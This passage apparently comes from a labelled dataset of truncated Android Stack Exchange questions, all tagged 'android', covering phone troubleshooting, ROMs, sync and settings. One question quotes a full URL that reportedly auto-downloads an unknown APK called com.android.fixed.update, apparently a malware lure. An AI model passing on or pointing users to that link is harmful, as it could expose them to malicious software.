similarly, when on a Google web search page, if I begin to type ... ",['android'] "Title: how can i get the notification of a new email in the Galaxy S3 GT-I9300 version 4.1.2? Body: I have a Galaxy S3 GT-I9300 version 4.1.2 and i don{t get the notification when a new email arrives. I have to enter the email account and sync it manually to see if i received a new email. That ... ",['android'] "Title: Why isn't the Swype keyboard showing corrections? Body: Normally, while using the Swype keyboard, corrections appear at the top of the screen and it allows me to pick the right word. For some reason it isn't appearing at the moment. Is there a way to ... ",['android'] "Title: Android sync with calendar works only one-way Body: I have a Phone with Android 4.1 Jelly Bean and I am trying to synchronize my calendar with my Google account. The problem is, that sync only works one-way. Data from Google are transferred to my ... ",['android'] "Title: opening PDF links causes browser to crash Body: Using Galaxy S3 i9305 with standard browser. Opening a PDF link causes the browser to crash. Should I just change browser to something like Dolphin? I have already downloaded Adobe Reader. ",['android'] "Title: ssh over wifi vs broadband weirdness Body: I have a really weird issue with connecting to an outside host from my android device (2.3.6) using ssh. I have no problem with connectbot actually, but when working on a terminal the weirdness kicks ... ",['android'] "Title: How can I disable IPv6? Body: I have access to the IPv6 internet through Charter Communication's 6rd implementation. A number of CDNs fail to work correctly over IPv6, which causes a number of sites, including facebook, to have ... ",['android'] "Title: Memory reported as full without being full Body: I am having storage issues with my Samsung Galaxy S Duos. I solved it by moving apps from phone memory to the SD card, so now 1.2 GB of internal space is free. However, it still tells me that I have ... ",['android'] "Title: Will a nandroid backup save me from a bad upgrade? Body: I have a Rezound on 4.03, and verizon has pushed an update to it today. I have delayed the install because there's little information about it. What little I have found claim it make the phone ... ",['android'] "Title: “google settings” app [duplicate] Body: Recently I have seen a new app in my phone ""google setting"" . I haven't downloaded it , where does this app come from ? Is this a new feature of Google . Or something else , If I remove it from my ... ",['android'] "Title: Swap z and y keys on Xperia Mini Pro with Android 4.0 Body: I got a Xperia Mini Pro with a hardware keyboard, which has a German layout. I switched to US layout on the computer and would like to use that on the phone as well. Is there some way to change the ... ",['android'] "Title: How to make “Navigator” my default mapping app? Body: Right now if I click a maps link my phone asks if I want to open in Dolphin Google Maps (Standard/classic interface) Web I prefer using the Google ""Navigation"" application for its features, such ... ",['android'] "Title: GT-S7572 Samsung App Store instead of App China Body: I've bought a Samsung GT-S7572, Android version 4.1.2 in China and thus just have an App China Store which is only in Chinese. How can I get the Samsung App Store from my own country? ",['android'] "Title: How can I easily restrict all apps EXCEPT specific apps from using data? Body: Let's say I have 100 apps on my Nexus 4. I want to limit all but 2 of them from running on my data plan (I have 30MB a month). How can I easily exclude all apps except specific applications from ... ",['android'] "Title: How to download all my apps in google play when I have flashed a new ROM? Body: When I have flashed a new ROM, I have to download all the apps I need in google play one by one, which is very inconvenient absolutely. Some of you may recommend ""Titanium Backup"", but it will lead to ... ",['android'] "Title: How do I delete an email in Gmail from the notification screen? Body: The latest Gmail app update (26 MAR 2013) introduced a feature for devices running Android 4.1 (Jellybean) and higher wherein a user could directly archive / reply to an email from within the ... ",['android'] "Title: Android Recovery Body: I am trying to find a way to reboot android devices into recovery. I know that you can use ""reboot recovery"", however not all toolbox versions support this. So I thought that I would make use of ... ",['android'] "Title: Activate Android device on IPv6-only network Body: Is it possible to activate an Android phone on a network with IPv6-only access to the Internet? Does Google support all their services over IPv6? Has anyone tried it? I'm going to need to activate ... ",['android'] "Title: locked tablet and wifi is turned-off [duplicate] Body: My tablet has been locked and unfortunately my wifi has been turned-off. I try different procedures to unlock it but it doesnt work out. Can you help me with my tablet. Touchmate TM-MID760 is the ... ",['android'] "Title: htc desire s Wi-Fi not connecting after update 4.0.3 Body: I had updated my HTC Desire S to Android 4.0.3. Wi-Fi had worked fine before I updated, but now it turns on ok but then pops up saying that there a “ERROR”. What should I do? Reset the phone? ... ",['android'] "Title: How can I see (or sort) my installed applications by their install time? [duplicate] Body: Since a few weeks ago, my Galaxy S3 freezes frequently (2-3 times a day), which is obviously very annoying. I've been using the phone for several months, and this never happens before. In addition, ... ",['android'] "Title: updating a game with Apk file? Body: Ok im new to android as I used to be an iphone user so this question may not make any sense. Im used to jailbreaking but now I have a sg note 10.1 and im so lost with a few things. However, I ... ",['android'] "Title: How to add a shortcut directly to the 'Alarms' and 'World Clock' tabs of the stock HTC Clock app? Body: I have QCustomShortcut installed and I'd like to be able to create a shortcut directly to the 'Alarms' and 'World Clock' tabs of my HTC stock Clock app (com.htc.android.worldclock). The app has an ... ",['android'] "Title: Upgrading HBOOT on an HTC Hero Body: I am trying to unlock the bootloader of a friend's HTC Hero, and I'm following the official process on HTC's developer website. I got to the point where I give the command fastboot oem ... ",['android'] "Title: Is there a minimal installation of ADB? Body: When it comes to troubleshooting, I often read recommendations like ""Use adb logcat to find some more details"". Looking for a good way to backup all my apps including their data, Full Backup of ... ",['android'] "Title: Problems cutting people off Body: I am a complete novice with these phones. When I have a call I seem to cut people off with my cheek on the screen - how can I stop this? ",['android'] "Title: The process has stopped unexpectedly - recovery Body: When I start my tablet Archos 7 Home tablet it shows this message box: Sorry! The process android.process.acore ... ",['android'] "Title: Specific App install from Google Play fails, where to see log? Body: I'm trying to re-install a paid app from the Google Play Store I had previously installed before doing a system update. The installation fails silently after downloading. (Other installs from the ... ",['android'] "Title: Can I eliminate the sideload confirmation dialog in Chrome? Body: Is there a way to eliminate the appearance of the confirmation dialog below, from the Android Chrome browser? Chrome added this confirmation dialog recently when sideloading an app. I'm testing the ... ",['android'] "Title: How to save map cache of my city on SD card for use with Google Maps, possibly with no expiry? Body: I don't have enough rep. to comment under other's post, so I had to open this thread. I read some threads on Google Maps here and the question still persists. Is there a straightforward method to ... ",['android'] "Title: How to get Picasa/Google+ shared photo's URL quickly from Android mobile device? Body: My sister doesn't use Google+ so it is quite hard for me to share an individual photo of my Picasa album with her. Currently I can only do that from a PC - opening picasa web album site, open the ... ",['android'] "Title: Is it enough to restore /data with ClockworkMod? (Maybe changing systems as well Body: I definitely don't want to restore cache files. Why would I want to restore system files as well? If I understood Izzy's answer here, as a normal user (not a system developer) all I need is to restore ... ",['android'] "Title: Battery usage for keeping apps open Body: How much of an effect does it have on the phones battery life to keep applications such as the contacts application open. I ask because that app sometimes takes long to open the first time depending ... ",['android'] "Title: Why are animations from an Animated PDF not showing? Body: I am going to prepare PDF presentation, with some basic animations, using LaTeX. A classic example can be found here. I am able to view animations only when I view the PDF from my PC. No animations ... ",['android'] "Title: Can't install Google Play Services Body: I just upgraded Google+ to 3.6.0.44338848 (released late March 2012) and now it won't launch. It says: This app won't run without Google Play services, which are missing from your phone. If I ... ",['android'] "Title: TTS and STT while driving - Samsung G3 (BlueTooth) Body: I have a few cell phones, and have never had a problem with TTS/STT with my 2012 Rio until I got a Samsung S3. My Rio has build in blue tooth. My HTC WP7, iPhone, and BlackBerry read messages out ... ",['android'] "Title: Is it possible to change the system language to Japanese? [duplicate] Body: I was wondering if it is possible to install Japanese as a System Language on my Android phone (Samsung Galaxy S2). My friend is from Japan and wants to buy her smartphone in Europe - but she wants to ... ",['android'] "Title: Factory Reset NYX mobile Android 4.0 Body: I have a Nyx Ice Cream Sandwich tablet, running Android 4.0. I need to do a factory reset, but I'm still not able to do it. How do I do it? I'm able to get the little android man with the red ... ",['android'] "Title: SD Card messed up Body: I had recently partitioned my SDCARD to work with my phone. Added an EXT4 and FAT32 partitions. After a power failure the data got corrupted. I can still see it but it's not the same as before. I've ... ",['android'] "Title: How to add a shortcut to the 'My Apps' screen of the Google Play Store? Body: I'm looking to create a shortcut that links straight to the 'My Apps' screen of the Google Play Store? Either that or configure the Google Play Store to always open in the 'My Apps' screen. I've ... ",['android'] "Title: What is the main activity of Google Keep called? Body: What is the launcher activity of Google Keep called? I thought a short Google search would help, but apparently not. ",['android'] "Title: Cracked screen, menu buttons non-responsive, need to wipe my phone! Ideas? HELP! Body: Like so many of us, I have dropped my phone and cracked the screen on my LG optimus ls970... which, In my very special situation, makes the menu buttons stop working. However, unlike other posters, I ... ",['android'] "Title: my android Phone screen is locked [duplicate] Body: I have set the pattern lock in my andriod phone. somehow the pattern lock is entered wrong several times. My andriod phone is asking the email and password to unlock the screen, i have entered it but ... ",['android'] "Title: Android: Delay dropbox upload intentionally Body: Is might seem an odd question for some.. But I often find myself wishing that dropbox would wait 5-10 minutes before uploading my newly taken photos. The reason is that sometimes I take a blurry ... ",['android'] "Title: Nexus 4 not getting connected to PC Body: Some days back, My nexus was getting connected to the computer. But yesterday I discovered, it is no more like that. It is only getting charged via USB connection. No notification of connection ... ",['android'] "Title: Quick way to show unread emails in inbox in Gmail app? Body: Is there a quick (menu / tap) way of viewing the unread emails in your inbox? Or at least showing the unread emails at the top of the list of emails, in other words sorted by unread/read ... ",['android'] "Title: How do I disable notifications only when I am talking on the Samsung Galaxy S2? Body: I would like to disable my notifications for a text message, only when I am talking on the phone. ",['android'] "Title: How to remove syncronized photos from facebook Body: I have a Galaxy Note II and I syncronized my Facebook gallery by mistake. I've tried to disactivate the sync from the Settings (Settings > Account) by unchecking the ""Sync gallery"" option but the ... ",['android'] "Title: Is there a way to sync a WebCal to “My Calendars” in Google Calendar Body: Currently I subscribe to a few WebCal links that a sports league I play in provides, so if my games get rescheduled, my calendar will always be up to date. I would like to receive notifications for ... ",['android'] "Title: What is a typical disk write performance? Body: My ICS tablet is feeling very sluggish whenever it is in the process of saving data to disk. See my related question. To isolate the problem further, I rand PassMark Performance Test and my disk ... ",['android'] "Title: Only types 1 letter at a time Body: My girlfriend just bought a New Samsung Galaxy S3 (SGS3), everything is good however, when she tries to type something into a field box on the internet, it only types one letter at a time Eg: Signing ... ",['android'] "Title: Does a Nandroid Backup contain Language files? Body: I know that a Nandroid backup is a snapshot of a system image. I wish to know if this backup will also include language files if Backup was made from a multi-language ROM. For Example: I bought a ... ",['android'] "Title: Differences between OsmAnd and OsmAnd+ Body: What is the difference between the free version of OsmAnd and the Plus version? The only info I found seems to be outdated. While using the free edition the only limitation I noticed was the hint ... ",['android'] "Title: cat /proc/devices on Galaxy Note shows a device named roccat Body: Whats that supposed to be? cat /proc/devices on Galaxy Note N7000 JellyBeer 4 build from 15.March (CM10.1 based with per app dpi features, more similar to cm than to paranoidandroid) Char devices: ... ",['android'] "Title: Where can I find custom ROMs for my sony Xperia TL26i [duplicate] Body: How can I installing ROM or CUSTOMS for my sony Xperia TL26i? and How can I put recovery mode? ",['android'] "Title: Will I need a dedicated GPU in my next smartphone? [closed] Body: If I don't play 3D games or any 3D stuff for that matter, only the basic phone stuff, light browsing and apps. On a PC it's easy: I don't need a dedicated GPU for this, even if I watch some videos. ... ",['android'] "Title: Which custom ROM is a good choice to put on a Samsung Galaxy Mini S5570? [duplicate] Body: CyanogenMod or else? Which version? From which maker? I tried my luck on the XDA-Developers forum - but to no avail. ",['android'] "Title: Battery drain on Galaxy Note-I after updating to Jelly Bean Body: I have Galaxy Note-I (N7000), and upgraded to Jelly Bean 4.1 today. The battery drains fast. Do we expect any update from Samsung on the battery drain issue, or do I need to downgrade to ICS? ",['android'] "Title: How do you clear share actions bound to ‘copy to clipboard’? Body: I accidentally set a sharing intent to always copy to clipboard. I know that usually to unbind these defaults, you go Settings > Apps > All > [bound app] and hit the 'Clear defaults' button from ... ",['android'] "Title: Is it possible to connect the Google TV remote with an Android tv-box like Minix? Body: I have found the Google TV remote source code. Would it be possible to modify the code so the Google TV remote could work on my MiniX box? It should be possible since their both are on a android ... ",['android'] "Title: Disable connecting USB as media device with Jelly Bean Body: I got a new update on my Samsung Tablet and I recognized a change / problem. I want to connect my Tablet to my PC without connecting as Media Device. I like to transfer Files from my Aclipse ( Java ) ... ",['android'] "Title: Re Install android OS in Mobile Phone Body: I am using LG optimus E 400. Recently, I have rooted my Android phone. After rooting, it's not booting up now; just displaying white screen. I have tried go to the boot loader by pressing (Hold ... ",['android'] "Title: Format memory card with NTFS Body: I have a Galaxy SIII and 32GB memory card. I want format the memory card with NTFS just to get rid of 4GB size per file restriction. How can I format the card with NTFS and even if I format it with ... ",['android'] "Title: “accounts and sync” has dissappeared, how can I fix this? Body: A few days ago I had a system update. Now under accounts my option ""accounts and sync"" have disappeared. Can't sync calenders. How can I fix this? ",['android'] "Title: How I can send signal from android mobile through speaker? Body: Would you please let me know how I can send signal from android mobile through speaker ? Please let me know if you need more clarification . Thanks in advance . ",['android'] "Title: Samsung Galaxy Tab: Cannot download from Google Play Body: I bought this tablet without a SIM card. I have a WiFi connection, but it still doesn't let me download from the Android Market. How do I fix this? ",['android'] "Title: Can a dual SIM Android phone receive voice calls to both SIMs? Body: I am looking for a dual SIM phone, that will allow me to receive calls (not simultaneously of course) to both SIMs without any manual switching. From what I have seen Android 4.0 seems to support ... ",['android'] "Title: How can I enable keybord Samsung Galaxy S3 GT-i9300 Android version 4.1.1 Body: I can't find the keyboard in my Samsung Galaxy S3. I only found ""Google Voice Typing"": In Settings → Language and Input → Keyboards and Input methods I have only Google Voice Typing. ... ",['android'] "Title: Easy record GPS coordinates in OpenStreetMap Body: I live in Argentina and use OpenStreetMap since the maps are really accurate in that area. I travel in a specific area with my Android Smartphone using GPS. In that area mainly I like to save GPS ... ",['android'] "Title: Why doesn't my android start daydreaming? Body: In Settings > Display > Daydream I have - selected one (any one, but right now it's just the standard Clock) - when to daydream = either docked or charging - ""start now"" works fine. I've ... ",['android'] "Title: Using Galaxy S2 I want to setup google talk account to use the built in messaging system Body: I have a Galaxy S2 and a google talk account. I would like to use the built in SMS texting of the Galaxy S2 to send/receive texts via google talk. But, I'm not sure how to set it up. (google talk ... ",['android'] "Title: How do I change my device locale (default currency symbol) on 3.x and higher? Body: I want to change my device Locale because some of my apps use my default Locale to determine what currency symbol to use when formatting money values. In Android 2.x, I'd just go to the main Settings ... ",['android'] "Title: Install custom ROM for Micromax Funbook Pro P500 tablet Body: I have a Micromax Funbook Pro P500 tablet. How do I unlock the tablet, so I can root it? How do I root the tablet? How can install a new ROM on my tablet? ",['android'] "Title: Install DSPManager on a non-CM Rom Body: I would like to install the app DSPManager from Cyanogenmod on my Nexus 4 running ParanoidAndroid. I grabbed the newest CM and extracted ""/system/app/DSPManager.apk"" and ""/system/lib/soundfx/*"" and ... ",['android'] "Title: Samsung Galaxy S 2 new software won't connect via USB with Mac? Body: My Samsung Galaxy S 2 just got updated software over the weekend and now it's completely different to use. I've nutted out most of it but it is no longer recognised by my laptop and I can't share or ... ",['android'] "Title: Flash Samsung Galaxy Stellar (Verizon) to Page Plus Body: Flash Samsung Galaxy Stellar (Verizon) to Page Plus How do I flash my Samsung Galaxy Stellar for free? I have already paid out so much. I could have just bought a new one, but I am really trying to ... ",['android'] "Title: Is there a way to preserve my configuration between firmware updates? Body: I had some apps installed on my Galaxy S2 and configured them on screen the way I liked to have them. Today, the firmware got updated (it looks cool) and all my installed apps are gone from my ... ",['android'] "Title: Samsung Galaxy Ace GT-S5830 can't receive incoming calls Body: After updating to version 2.3.7 of Android the device can't receive calls. Although it can call. The caller to my device is said to line was busy always, it happens from any kind of callers. Need to ... ",['android'] "Title: Connect andriod phone to pc network via Bluetooth or WiFi Body: I am using a USB dongle for using internet. I connect it using my laptop and then I can share the internet via Adhoc WiFi network. But network is not searchable in my pone. I searched the Google and ... ",['android'] "Title: Reinstalling Android 2.3 gingerbread on LG E400 Body: How do i re-install the original Andriod 2.3 Gingerbread on my LG E400 phone? Right now, it is operating on another OS. ",['android'] "Title: Transferring Gallery pictures on my LGL5G to its SD card Body: I have an LGL35G phone. How can I move pictures from Gallery to its SD card? ",['android'] "Title: could not set ad-hoc mode on wlan0. operation not supported on transport endpoint Body: Triing to use Barnacle Wifi Tether on Samsung Galaxy Note2 GT-N7100. And when I press start wifi tether, got error: could 'not set ad-hoc mode on wlan0. operation not supported on transport endpoint' ... ",['android'] "Title: How to write SMS by dragging fingers Body: I was shown that with the messaging app (texting), I can drag my finger along the letters so it writes! How do I do that? I've been looking at my phone forever & I really wanna know. ",['android'] "Title: Problem with Play Store on Samsung Galaxy Note II: Play Store does not open Body: I was a regular Galaxy SII user, recently moved to Galaxy Note-2 - so far so good, but since today, I am finding my Play Store application, is not working on Note-2 [it was, earlier], even from the ... ",['android'] "Title: Why has the photo gallery sorting changed after firmware update? Body: Now the photo sorting in each gallery begins with the first taken one. Before the firmware update, it had begun with the last taken one, so with the latest. Even the Gallery sorting is made by earlier ... ",['android'] "Title: Is there any way to determine the UMTS RRC state my device is in Body: I want to determine the RRC state of my device which is HTC Explorer. By RRC, I mean states like FACH,DCH IDLE etc.. I have already tried the following secret codes: *#*#197328640#*#* *#*#7378423#*#* ... ",['android'] "Title: GMail attachment download does not complete Body: I am using Jelly Bean on a Samsung Galaxy Tab 2 7.0. I have been trying to download an attachment from the GMail app. All I see is a progress bar which shows 0% progress and an icon added in the ... ",['android'] "Title: Wi-fi disabled during lock still partly active? Or do I mis-interpret the battery graph? Body: On my Google Nexus 7 I noticed that it would consume around 1% of battery each hour that it was just being idle. I suspected that battery-usage during idle time could be improved. So the next night (7 ... ",['android'] "Title: Cannot open message application on Samsung Galaxy S2 and Deleted all of my Contacts Body: I was originally getting an error message about the logserver not working, which I fixed through managing the application and forcing it to close, but now I get another error when I try to access text ... ",['android'] "Title: Can not receive some mails sent by SMS Backup+ Android app when using Gmail mail delegate feature Body: I currently backup my Android phone data using SMS Backup+. Data entries are written to Gmail: e.g. each phone call is logged as one message labeled with the call log tag and automatically archived. ... ",['android'] "Title: Pandigital Novel running Android Eclair - Need User Manual - How do I access the External SD card? Body: I have a Pandigital Novel with Android Eclair, but I have no user manual for it. How do I access the external SD card? There is no app to do this, and no Device Manager or My Computer built into the ... ",['android'] "Title: My HTC One X and media link Body: My HTC One X has configured with my media link and when plugged in my phone says the device has detected but it wont connect to it. It just times out. How can I solve this? ",['android'] "Title: Can I open a photo in a text message without using my data? Body: I got a Motorola Razr-V phone and received a text with an attached photo. Is it possible to open using Wi-Fi,not my phone data? ",['android'] "Title: Automatically Install apps after factory reset Body: I'd like to know how I can set up my android 4.1.2 (Galaxy S2 I 9100) that it will install all my apps in the Play Store (the one you can see when you click ""my apps""). I think it was CM 10.1 where ... ",['android'] "Title: Getting rid of Status Bar on 4.1 Body: I need to get rid of the system bar on Android 4.1 tablets since the tablets will be in a commercial/retail environment and be used for business. My app will be the only app used on the tablet and it ... ",['android'] "Title: How do I set unique ringtones for individual contacts? Body: I have a Samsung Galaxy S2 and would like to set text notifications to be unique to each contact (just as I can set unique ringtones for each contact). Is there a way to do this? For example, I ... ",['android'] "Title: Recover deleted back up from cwm Body: I have a Samsung Galaxy Tab P1010. I upgraded it from Froyo to Gingerbread. Before upgrading, I backed it up using CWM. After upgrading, my brother needs the file that he saved there. When I tried ... ",['android'] "Title: POP3 E-mail Downloading Old E-mails I had Deleted Body: My Galaxy S3 phone recently received an update. My POP3 e-mail via Comcast now downloads e-mails from several weeks ago, apparently when it wants and however many it wants, at the same time it checks ... ",['android'] "Title: how to restrict my android wifi connect to only one access point? Body: I like to restrict my android device's wi-fi connect to one and only one access point. The attempt to connect to any other access points should be prevented. Is it possible to check the SSID value of ... ",['android'] "Title: Is it safe to install Launchers for Android which require quite a few permissions? Body: I have HTC One X with Sense on it. Sense is a bit slow. So I installed Apex Launcher. It was fast but it required quite a few permissions so I uninstalled it. I looked at other Launchers in Google ... ",['android'] "Title: Disable (in software) Nexus S Power Button Body: My Nexus S has a broken power button that some days works fine, some days doesn't work at all, but most days just acts up and will randomly turn my phone on, even when it's sitting on the table. I'm ... ",['android'] "Title: My Android Phone screen flickers for 2-3 seconds and colors are washed out? Body: I got a Samsung Galaxy Grand powered by Android 4.1.2. It's my first Android smart-phone so I'm still getting used to it. Sometimes I notice that my phone's screen goes blank for 2-3 seconds and the ... ",['android'] "Title: Connect to exchange server with certifcate based on own CA-root? Body: I am owning a galaxy s plus with the latest 2.3.6 firmware available for that phone. I want to connect to my companies exchange-server. Our company has defined an ow CA. With this all user ... ",['android'] "Title: Cannot connect my Galaxy Ace to my Google account Body: I have 'Market' and every time I attempt to log into it using my Google account it says that it 'Can't establish a reliable data connection to the server.' Any idea what could be done to get it ... ",['android'] "Title: Keep getting invalid package error when downloading app from Play store Body: I can't download any app from Google Play, I get invalid package message. I know this is an old problem and I that I have to clear Dalvik cache. Problem is that I can't down load the file manager to ... ",['android'] "Title: Launcher for tablet that maintains icon location but rotates the icons? Body: I've been looking high and low, but yet to find one... So if you guys & gals can help... I'm looking for a Tablet-optimized launcher that will maintain the icon's location, but rotates the icon ... ",['android'] "Title: Samsung Galaxy P1000 stuck on black screen Body: I Have a Galaxy Tab GT-P1000N. Its Android version was updated via Odin 3, from Android 2.2 to Android 2.3.6 Gingerbread [XWJQ8]. Everything is going fine but after the rebooting my Device (it's auto ... ",['android'] "Title: Loss of internal memory after rooting HCL ME V1 Body: I have HCL ME V1 tablet with android 4.0(Icecream Sandwich) OS. It has 4GB of internal SD memory and 1GB DDR3 RAM. When I connect the device to the PC in storage mode, it shows the 4GB SD memory; ... ",['android'] "Title: How is installing an app from web-based PlayStore implemented? Body: As you are probably aware, when browsing the web-based PlayStore, it is actually possible to install an app right-away. Upon pressing the ""Install"" button (like the one in the image - taken from the ... ",['android'] "Title: Got mail with URL pointing to an APK called com.android.fixed.update, what is this? Body: One of my relatives sent me an email pointing to this URL: http://www.flugversuch.at/cnu/kbdjobbwclikw/nbopigxdb/pxcbaolinizdg/qfktoohwzplsjsp When I got there, it automatically downloaded an APK ... ",['android'] "Title: Galaxy Tab 10.1 wifi stuck in 'Obtaining IP Address' mode Body: Using 'Virtual Router Plus' to set up a wifi hotspot on my desktop. I can manually connect with my tablet devices a first time, but after a couple hours it times out, disconnects. I am unable to ... ",['android'] "Title: Android low on space Body: I know this question is quite common, but nothing I've read so far really helped me. I have a Samsung Galaxy Mini, and had a similar problem with the stock ROM. For some other reasons, I've rooted it ... ",['android'] "Title: How can I use my android GPS in my notebook through USB? Body: How can I use my Android GPS in my notebook through USB? My notebook doesn't have bluetooth, and the wireless is not working. ",['android'] "Title: Jelly Bean (Android 4.1) released for AT&T HTC One X … but how to install it on unlocked AT&T phone? Body: Though there are few questions already existing about AT&T HTC One X in the forum but this one is a bit different. AT&T has recently released long awaited Jelly Bean update for HTC One X. But ... ",['android'] "Title: Galaxy Y gps chipset model Body: I'm trying to find the manufacturer / model of gps chipset used in my galaxy Y. Can anyone help me? ",['android'] "Title: My Galaxy S3 freezes and the screen goes black, what could be the problem? Body: I had this several times, my Galaxy S3 freezes and then the screen goes black and I can't wake it up. the only way is to reboot it and pull out the battery. What could be the reason for it? ",['android'] "Title: Voice Typing special Functions Body: When voice typing, I know that you can say comma or period or question mark to get a , . or ?. Those were all in the android instructional video. But I just saw that you can say new paragraph and it ... ",['android'] "Title: Emails received on my Galaxy S3 are deleted Body: after a sync. Using stock email app and carrier is Verizon. I would like for the email to stay on my G3 even after they are downloaded from the server. I also would like them to stay if I delete from ... ",['android'] "Title: Regarding adb command: Error while loading shared libraries Body: aneesh@nb-14:~$ adb devices adb: error while loading shared libraries: libncurses.so.5: cannot open shared object file: No such file or directory I would like to understand the error above and ... ",['android'] "Title: Task management problem in Gingerman 6.5.1 Body: I'm running gingerman 6.5.1 on a Ideos u8150 phone. Well there is a small problem with application switching. For example if open YouTube app and search for video and switch to browser and after few ... ",['android'] "Title: Why does the “m” key disable my text editor? Body: Sometimes, it's the ""o"" key, but lately it's been the ""m"" key. When I hit the ""m"" key, either by typing a message letter by letter or using Swype, my editing stops. I cannot recover without closing ... ",['android'] "Title: GPS Chip and GPS Service on Android Phones Body: Whether I use Google's location services or similar services provided by some third-party software, do I still need to manually enable anything by selecting one of the settings options, as shown ... ",['android'] "Title: help in moving apps to external Body: I need to know that is it possible to move your apps from phone storage to external storage SD card as i have following storages: internal storage of 800 MB phone storage of 2.60 GB External ... ",['android'] "Title: Which WiFi-Direct commands can be used in Android? Body: I am interested to know what commands can be used in Android to control WiFi direct from the terminal/command line. I took a look into p2p WIFI direct but I didn't catch these commands!! I can find ... ",['android'] "Title: Want to add Persian and Arabic on Samsung Galaxy Phone running Gingerbread OS Body: Peace be on you All... Dear all... I wan't to Add Persian and Arabic suppport on my Samsung Galaxy Ace having Gingerbread OS, All of my applications running in these languages show broken texts and ... ",['android'] "Title: Google Now menu flashes quickly Body: I have a Galaxy Note 2. When I go to Google Now and use the soft key to access its menu to get to the settings, the menu just flashes. I can't get it to stay on the screen long enough to hit the ... ",['android'] "Title: Pinning Web Sites to Android Homescreen [duplicate] Body: Is there a way to pin websites to your homescreen in Android like an app? I know this can be done in iOS, Windows Phone, and Windows 8, but I don't see a way to accomplish it on a Nexus 7 Android ... ",['android'] "Title: How to disable Notification Sounds on per-app basis? Body: I have an news app which gives me the option to get informed via push notification. I would like to receive this notification but I don't want it to make a notification sound. However the app doesn't ... ",['android'] "Title: Galaxy Nexus stuck on 4.1.1 and super slow Body: I own a Galaxy Nexus running Android 4.1.1. The build number is JRO03C.I9250XWLH2. Since the update to 4.1.1 the phone behaves very very slow. Also, a friend of mine has the same phone (we bought it ... ",['android'] "Title: Browser goes to wrong site Body: Since yesterday, I cannot browse to www.aemet.es (the Spanish national weather service). Instead, it goes to m.antena3.com (a TV station). This happens both with the built-in browser and with Chrome. ... ",['android'] "Title: CyanogenMod logo loop Body: My mobile, HTC One X was on CyanogenMod 10.1 which received a update cm-10.1-20130304-EXPERIMENTAL. Once the update package download is completed, I tried to update it via update settings but it ... ",['android'] "Title: Why can't my samsung galaxy R connect to my laptop Wi-Fi, but is able to connect to others? Body: Why can't my samsung galaxy R connect to my laptop Wi-Fi, but is able to connect to others? I'm using connectify program in my laptop and windows xp. Thank you. ",['android'] "Title: How do I remove previously download apps from my Google Play account? [duplicate] Body: When I click on ""My orders and settings"" it shows me all the apps I've ever installed, including ones I've deleted from my phone. I would like for apps I've uninstalled to not appear in this list. How ... ",['android'] "Title: Factory reset a woo tablet Body: I tried to reset a woo tablet 7"" without success: When pressing [Power button] + [Volume Up] I can see the android icon with the warning icon but nothing happens! pressing [Power button] + [Volume ... ",['android'] "Title: Any ideas on when 4.2 will be available for my phone? [duplicate] Body: I have a Motorola Electrify M 4G through US Cellular and I received the 4.1 Jelly Bean update OTA nearly a month ago and I'm a bit eager to get the 4.2 version but I can't find anything online about a ... ",['android'] "Title: Samsung Kies restore a backup from another PC Body: I recently did a backup as I had to send my S3 to samsung to fix a broken screen. I took my backup on my work pc and copied the whole backup folder to an external drive. I now have my phone back and ... ",['android'] "Title: time_in_state wrong value Body: I've been using apps like ""BetterBatteryStats"" and ""CPUSpy"" to see what CPU states my phone is most frequently in, but both are reporting the wrong clock frequency. I can only assume they are using ... ",['android'] "Title: Edit hosts file on Kindle Fire Body: I'm trying to edit the hosts file on a Kindle Fire. I should say that I'm not interested in rooting the device (unless I have to) and am not trying to hide adverts or prevent software updates etc. I ... ",['android'] "Title: SGS3 USB not connecting to PC Body: I have a Samsung Galaxy S3, running Android 4.1.1. I am having problems connecting the phone to my PC. I can connect other S3 phones to my PC. So, I presume that it is not the PC (Windows 7) that has ... ",['android'] "Title: Lock Screen Problem in HTC ONE X Body: How can I recover my clock-style lock screen after it failed to return on my HTC One X? I let the phone's battery run out. Then I recharged and turned my phone on, but I can't see my clock-style lock ... ",['android'] "Title: Galaxy Note Jelly Bean update India [duplicate] Body: Is there any Jelly Bean update available for Note N7000 in India? Any one know when this update is coming? ",['android'] "Title: How to use OTG Data Cable with a Nexus S to access? Body: Having an OTG Data Cable, I connected different thumb drives to my Nexus S – running JB 4.1.2 – but my phone doesn't seem to read them. The thumb drives I tried are: a 16GB Kingston G3 Data Traveler ... ",['android'] "Title: Enter fastboot commands from an Android phone Body: I want to do the following without a PC, just directly from an Android phone using a script / Android Terminal: Reboot into bootloader, and then enter a few fastboot commands Is this possible? ",['android'] "Title: Android phone ICS cannot connect to internet through LAN Body: I have an Android phone that connects to my local area network via WiFi. The LAN consists of a switch and a Debian box that acts as a router, with two interfaces: one external and one internal. For ... ",['android'] "Title: Repartitioning internal storage and installing custom roms on ZTE Blade GEN2 Body: I have a ZTE Blade phone, which was sold in Hungary with Android 2.1 and GEN1 radio (Ask Mr. Pigfish said so). About a year ago I updated it with the official 2.2 update released by T-Mobile (the ... ",['android'] "Title: ADW lock code forgotten Body: Using ADWLauncher, you can lock the desktop. Extremely useful, till the password is forgotten. I have a Nexus 4. Any solution to crack the password? ",['android'] "Title: ICS Wifi not blue and internet not working Body: I just bought a Phone here yesterday running with Android ICS, the first time I used the wifi was ok, no problem. But now, the wifi is not working sometimes even I have a strong wifi connection. My ... ",['android'] "Title: How do you disable message preview in the Android 4.0.x stock email app? Body: How do you disable message preview in the Android 4.0.x stock email app? The only message preview options are ""Small"", ""Medium"" and ""Large"". (Android 4.0.4 on a Droid Bionic.) ",['android'] "Title: Stop IMO messenger asking me to create account Body: I use this to allow me concurrent sessions on my tablet, phone and computer... ...however, everytime I open the app it asks me to create a public profile and verify with my number. Is there any way ... ",['android'] "Title: How to move system programs to sd card? Body: System programs like youtube, gmail and maps are consuming over 50 MB of my HTC Explorer (v2.3) which is a rather low end android phone and has only 128 MB of system memory. As a result the low ... ",['android'] "Title: Add user (personal) dictionary to Android stock keyboard for unsupported languages [duplicate] Body: I am sure many people have noticed that in the stock keyboard (Android 4.2 in my case) has more language layouts than it supports predicting. For many languages a dictionary / corpus is missing. So ... ",['android'] "Title: How can I stream audio from another device via Bluetooth? Body: Related question: How can I stream music/audio from Android and PC to Android device via WiFi? I would like to stream audio from a Bluetooth-enabled ""dumb phone"" to my Andoid phone. The Android ... ",['android'] "Title: Error while restoring data using ClockWorkMode recovery in Micromax a110 Body: So I decided to restore but I got an error Unable to copy file ./dalvik-cache/system@framework@core-junit.jar@classes.dex Error while restoring /data! I: Can't partition unsafe device: ... ",['android'] "Title: Restore colors after 